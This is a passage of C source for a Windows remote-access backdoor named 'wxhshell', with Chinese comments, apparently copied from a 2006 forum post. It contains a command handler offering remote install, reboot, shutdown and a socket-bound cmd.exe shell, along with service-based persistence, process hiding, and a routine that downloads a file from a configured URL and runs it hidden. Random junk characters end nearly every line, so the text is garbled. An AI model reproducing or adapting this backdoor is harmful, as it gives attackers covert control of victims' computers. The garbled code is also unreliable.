  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _lMSW6  
  else D~b_nFD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :^rt8>~  
  } ?np3*;lw  
  else { -]Y@_T.C  
3eERY[  
    switch(cmd[0]) { pD17r}%  
  6wq>&P5  
  // 帮助 .R]DT5  
  case '?': { gP.PyYUV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Yfr4<;%  
    break; ''Hx&  
  } /Ref54  
  // 安装 N|e#&  
  case 'i': { ?/q\S  
    if(Install()) 4o|<zn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UvF5u(o  
    else mqK}y K^P]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 9#jKh  
    break; N?2C*|%f  
    } u'; 9zk/$  
  // 卸载 ./35_Vy/O  
  case 'r': { 5tl( $j  
    if(Uninstall()) Q 6n!u;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3IG<Ot9  
    else "A]#KTP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yJ4ZB/ZQ  
    break; L*FQ`:lZ  
    } X/ lmj_v  
  // 显示 wxhshell 所在路径 tID=I0D  
  case 'p': { "\+.S]~  
    char svExeFile[MAX_PATH]; 6d(D >a  
    strcpy(svExeFile,"\n\r"); b\S~uFq6  
      strcat(svExeFile,ExeFile); |B {*so]  
        send(wsh,svExeFile,strlen(svExeFile),0); ,lcS J^yr  
    break; Y?ZzFd,i&  
    } NXX/JJ+w  
  // 重启 z/,&w_8,:  
  case 'b': { L+8{%\UPd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *Wf Qi8  
    if(Boot(REBOOT)) CE@[Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }<^QW't_Y  
    else { "0 $UnR  
    closesocket(wsh); _tRRIW"Vx"  
    ExitThread(0); X ?U'GLm  
    } yA#nnu1  
    break; 8a3 EVc  
    } Kay\;fXT  
  // 关机 {fJCj152.  
  case 'd': { d7S?"JpV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &y&HxV  
    if(Boot(SHUTDOWN)) r+k g$+%b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [\qclW;L  
    else { mKsJ[)#.  
    closesocket(wsh); ~REfr}0  
    ExitThread(0); [ 2PPa9F  
    } ;0lY_ii  
    break; G#fF("Ndu`  
    } jyB Ys& v  
  // 获取shell DTlId~Dyq  
  case 's': { ( 8X^pL  
    CmdShell(wsh); uUb`Fy9  
    closesocket(wsh); x\oSD1t,  
    ExitThread(0); ;!A=YXB  
    break; Y5c[9\'\  
  } wjfq"7Q  
  // 退出 6qSsr]  
  case 'x': { {1gT{2/~@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^J;rW3#N8  
    CloseIt(wsh); ~=Q^ ]y,  
    break; Sc]G7_  
    } /0o#V-E)  
  // 离开  OA^6l#  
  case 'q': { Y?$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'Y.6sB  
    closesocket(wsh); m(D+!I9  
    WSACleanup(); Y]tbwOle  
    exit(1); 1|m%xX,[  
    break; pp{ 2[>  
        } m%=*3gH]&  
  } y,/i3^y#_  
  } ]GO=8$Z  
l 0U23i  
  // 提示信息 &$ud;r#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .TCDv4?  
} pD('6C;  
  } !hFhw1  
4xH/a1&p=  
  return; FA+"t^q  
} 7]9,J(:Ed  
Gt+rVJ=v  
// shell模块句柄 53 -O wjpx  
int CmdShell(SOCKET sock) kD0bdE|  
{ +I?k8 ',pi  
STARTUPINFO si; 4,>9N9.?9  
ZeroMemory(&si,sizeof(si)); P) cEYk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F0~<p[9Nx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &B ]1 VZUp  
PROCESS_INFORMATION ProcessInfo; 9VanR ::XX  
char cmdline[]="cmd"; `ZbFky{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !*f$*,=^  
  return 0; QIg'js$W  
} C T\@>!'f  
7WwE] ^M  
// 自身启动模式 b;%t*?t  
int StartFromService(void) ?(n v_O  
{ Xdw pn+7s  
typedef struct ,ga6   
{ )_1 GPS  
  DWORD ExitStatus; <uxLG;R  
  DWORD PebBaseAddress; On54!m  
  DWORD AffinityMask; 2v2XU\u{t  
  DWORD BasePriority; tt#dO@G#Fe  
  ULONG UniqueProcessId; Bhv$   
  ULONG InheritedFromUniqueProcessId; XT4Gz|k  
}   PROCESS_BASIC_INFORMATION; VZq~ -$  
S8Y\@C?5  
PROCNTQSIP NtQueryInformationProcess; -i1 f ]Bd  
tJybR"NQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %~y>9K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aZ+><1TD  
9?8PMh.  
  HANDLE             hProcess; tU5uL.( O  
  PROCESS_BASIC_INFORMATION pbi; 8XG';K_  
.r2*tB).  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9Msy=qvYG  
  if(NULL == hInst ) return 0; Bp3E)l  
<N1wET-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JXM]tV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uKd4+Km  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DY9]$h*y  
OZ+v ~'oD  
  if (!NtQueryInformationProcess) return 0; t&:L?K)j  
[:FiA?O]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x M(H4.<  
  if(!hProcess) return 0; g;v;xlY`N  
?3p7MjvZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;AE-=/<  
8;V9%h`P>  
  CloseHandle(hProcess); tq}45{FH3  
FY ms]bv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I#&r5Q  
if(hProcess==NULL) return 0; NC#F:M;b  
s2#Ia>5!  
HMODULE hMod; ==&  y9e  
char procName[255]; #{vC =m73  
unsigned long cbNeeded; %IX)+ Lp`  
jx]P:]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); * <\K-NSL  
Xv|=RNz  
  CloseHandle(hProcess); gf1+yJ^d!  
i=cST8!8N  
if(strstr(procName,"services")) return 1; // 以服务启动 KWZhCS?[(  
#<S*MGp!=  
  return 0; // 注册表启动 qh:Bc$S  
} REU,"  
3f] ;y<Km  
// 主模块 D%abBE1  
int StartWxhshell(LPSTR lpCmdLine) USEb} M`  
{ lQ-<T<g  
  SOCKET wsl; Jsysk $R  
BOOL val=TRUE; w y|^=#k  
  int port=0; V`1,s~"q  
  struct sockaddr_in door; pL5cw=  
1^4:l!0D  
  if(wscfg.ws_autoins) Install(); ,VHqZ'6  
@kqxN\DE  
port=atoi(lpCmdLine);  @Fb1D"!  
+yp:douERi  
if(port<=0) port=wscfg.ws_port; :-B+W9'5  
d=PX}o^  
  WSADATA data; iCE!TmDT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jYFJk&c  
 k~ ^4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MQQm3VaKS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]x r0]  
  door.sin_family = AF_INET; W&IG,7tr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W n'a'  
  door.sin_port = htons(port); {aUnOyX_  
[mA-sl]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A^>@6d $2  
closesocket(wsl); qcS.=Cj?)  
return 1; N)H "'#-  
} #GE]]7:Na  
Q$c6l[(g  
  if(listen(wsl,2) == INVALID_SOCKET) { ;:fW]5"R  
closesocket(wsl); e@Lxduq  
return 1; =~GP;=6  
} ( Jk& U8y  
  Wxhshell(wsl); q(6.VU@  
  WSACleanup(); n^Ca?|} ,  
5 wrRtzf  
return 0; x#J9GP.  
gSz<K.CT  
} #$I@V4O;#  
WVdV:vJ-  
// 以NT服务方式启动 Uj):}xgi'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l1)~WqhE}  
{  X0VS a{  
DWORD   status = 0; mdWA5p(  
  DWORD   specificError = 0xfffffff; V4n~Z+k  
GtVT^u_   
  serviceStatus.dwServiceType     = SERVICE_WIN32; H#~gx_^U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,~1'L6Ri?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L"qJZU  
  serviceStatus.dwWin32ExitCode     = 0; dU$VRgP/  
  serviceStatus.dwServiceSpecificExitCode = 0; ;:P4~R  
  serviceStatus.dwCheckPoint       = 0; eQuu\/z*H  
  serviceStatus.dwWaitHint       = 0; 5#,H&ui\  
^#Ha H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7k( }U_v  
  if (hServiceStatusHandle==0) return; >R+-mP!nj  
X zJ#)}f  
status = GetLastError(); RdYmh>c  
  if (status!=NO_ERROR) l88=  
{ 2R[v*i^S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /jG?PZ=m  
    serviceStatus.dwCheckPoint       = 0; C/e.BXA  
    serviceStatus.dwWaitHint       = 0; gV2vwe  
    serviceStatus.dwWin32ExitCode     = status; J~m$7T3Af  
    serviceStatus.dwServiceSpecificExitCode = specificError; m,k 0 h%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r5}p .  
    return; S,c{LTL  
  } 42NfD/"g+s  
U.e!:f4{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; --K) 7  
  serviceStatus.dwCheckPoint       = 0; CO wcus  
  serviceStatus.dwWaitHint       = 0; VeGSr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5/=$p:E>  
} r#sg5aS7O|  
~#r>@C  
// 处理NT服务事件,比如:启动、停止 q Gk.7wf%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q@VA@N=w  
{ WH:dcU   
switch(fdwControl) l<v{8:,e#  
{ :_8K8Sa  
case SERVICE_CONTROL_STOP: g3:@90Ba  
  serviceStatus.dwWin32ExitCode = 0; ZcN0:xU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C/k#gLF`  
  serviceStatus.dwCheckPoint   = 0; Kh]es,$D  
  serviceStatus.dwWaitHint     = 0; #a e@VedM  
  { q+?&w'8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a*P v^Np-v  
  } >C0B!MT?3%  
  return; ;_,jy7lf  
case SERVICE_CONTROL_PAUSE: 7Qd4L.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .]v>LsbhF  
  break; dn(!wC]  
case SERVICE_CONTROL_CONTINUE: w2s`9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h4hAzFQ.s  
  break; T3wTMbZ!VK  
case SERVICE_CONTROL_INTERROGATE: :zHSy&i`  
  break; LT%~C uf  
}; <Wn~s=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + -<8^y  
} [vi =^  
/5,6 {R9  
// 标准应用程序主函数 2{ F-@}=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |]&3*%b@  
{ >z<L60S  
q,P.)\0A  
// 获取操作系统版本 /!]K+6>u  
OsIsNt=GetOsVer(); 5U2%X pO   
GetModuleFileName(NULL,ExeFile,MAX_PATH); Et0gPX-  
k79OMf<v  
  // 从命令行安装 3f`Uoh+  
  if(strpbrk(lpCmdLine,"iI")) Install(); K)'[^V Xh  
)I%M]K]F  
  // 下载执行文件 V%R]jbHZ#  
if(wscfg.ws_downexe) { #Pd9i5~N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8-;.Ejz!\A  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,RPb <3 B  
} 7P$*qj~Vh  
$_<[kci %  
if(!OsIsNt) { .x=abA$!9  
// 如果时win9x,隐藏进程并且设置为注册表启动 jJ2rfdfj  
HideProc(); 6()Jx%  
StartWxhshell(lpCmdLine); ?p{ -Yp*h  
} {]IY; cL  
else rmjuNy=(  
  if(StartFromService()) i+`8$uz  
  // 以服务方式启动 $ .tT  
  StartServiceCtrlDispatcher(DispatchTable); MHpGG00,  
else [vu;B4^"  
  // 普通方式启动 D1RQkAZS  
  StartWxhshell(lpCmdLine); |j+JLB  
!zK"y[V  
return 0; ui?@:=  
}
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只看该作者 1 发表于: 2006-10-10
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